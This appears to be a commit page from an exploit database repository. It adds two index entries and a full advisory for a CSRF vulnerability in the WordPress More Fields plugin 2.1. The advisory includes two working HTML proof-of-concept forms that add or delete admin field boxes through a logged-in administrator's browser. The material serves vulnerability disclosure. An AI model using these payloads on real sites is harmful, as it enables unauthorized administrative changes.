Skip to content

Commit a4526e0

Browse files
author
Offensive Security
committed
DB: 2016-03-01
2 new exploits
1 parent 62a54b6 commit a4526e0

3 files changed

Lines changed: 328 additions & 0 deletions

File tree

files.csv

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35745,3 +35745,5 @@ id,file,description,date,author,platform,type,port
3574535745
39504,platforms/android/dos/39504.c,"Qualcomm Adreno GPU MSM Driver perfcounter Query Heap Overflow",2016-02-26,"Google Security Research",android,dos,0
3574635746
39505,platforms/linux/dos/39505.c,"Linux io_submit L2TP sendmsg - Integer Overflow",2016-02-26,"Google Security Research",linux,dos,0
3574735747
39506,platforms/php/webapps/39506.txt,"JSN PowerAdmin Joomla! Extension 2.3.0 - Multiple Vulnerabilities",2016-02-26,"RatioSec Research",php,webapps,80
35748+
39507,platforms/php/webapps/39507.txt,"WordPress More Fields <= 2.1 Plugin - CSRF Vulnerability",2016-02-29,"Aatif Shahdad",php,webapps,80
35749+
39508,platforms/windows/local/39508.ps1,"Comodo Anti-Virus SHFolder.DLL - Local Privilege Elevation Exploit",2016-02-29,Laughing_Mantis,windows,local,0

platforms/php/webapps/39507.txt

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Exploit Title: Wordpress More Fields Plugin 2.1 Cross-Site Request Forgery
2+
# Date: 28-02-2016
3+
# Software Link: https://wordpress.org/support/plugin/more-fields
4+
# Exploit Author: Aatif Shahdad
5+
# Twitter: https://twitter.com/61617469665f736
6+
# Contact: aatif_shahdad@icloud.com
7+
# Category: webapps
8+
9+
1. Description
10+
11+
The plugin More Fields has CSRF token validation disabled for all functions, including the add box and delete box options. As a result, a specially crafted attacker page could cause
12+
a logged-in administrator to add and delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.
13+
14+
2. Proof of Concept
15+
16+
Login as admin to the wp-admin area at http://example.com/wp-admin. Open the following Proof-Of-Concept with the browser that you used to log in.
17+
18+
POC to add box named ‘test’:
19+
20+
--POC begins--
21+
Add Boxes:
22+
23+
<html>
24+
<body>
25+
<form action="https://example.com/wp­admin/options­general.php?page=more-
26+
fields&action=save&keys=_plugin%2C57UPhPh&navigation=boxes" method="POST">
27+
<input type="hidden" name="label" value="test" />
28+
<input type="hidden" name="post&#95;types&#91;&#93;" value="press" />
29+
<input type="hidden" name="position" value="left" />
30+
<input type="hidden" name="fields" value="" />
31+
<input type="hidden" name="ancestor&#95;key" value="" />
32+
<input type="hidden" name="originating&#95;keys" value="&#95;plugin&#44;57UPhPh" />
33+
<input type="hidden" name="action" value="save" />
34+
<input type="submit" value="Submit request" />
35+
</form>
36+
</body>
37+
</html>
38+
39+
40+
Remove Boxes needs the following simple GET request (Assuming the name of the Box we want to delete is ‘test’):
41+
42+
<html>
43+
<body>
44+
<form action="https://example.com/wp­admin/options­general.php">
45+
<input type="hidden" name="page" value="more&#45;fields" />
46+
<input type="hidden" name="action" value="delete" />
47+
<input type="hidden" name="action&#95;keys" value="&#95;plugin&#44;test" />
48+
<input type="submit" value="Submit request" />
49+
</form>
50+
</body>
51+
</html>
52+
53+
54+
Note: I have removed the CSRF tokens from the requests as they are redundant and not validated.
55+
56+
--End of POC--
57+
58+
59+
3. Impact
60+
61+
The attacker can add/delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.
62+
63+
4. Solution:
64+
65+
Add in CSRF token validation to the plugin or switch to a different plugin. The development of the Plugin has ceased so this happens to be the latest version which can’t be upgraded as of now.

0 commit comments

Comments
 (0)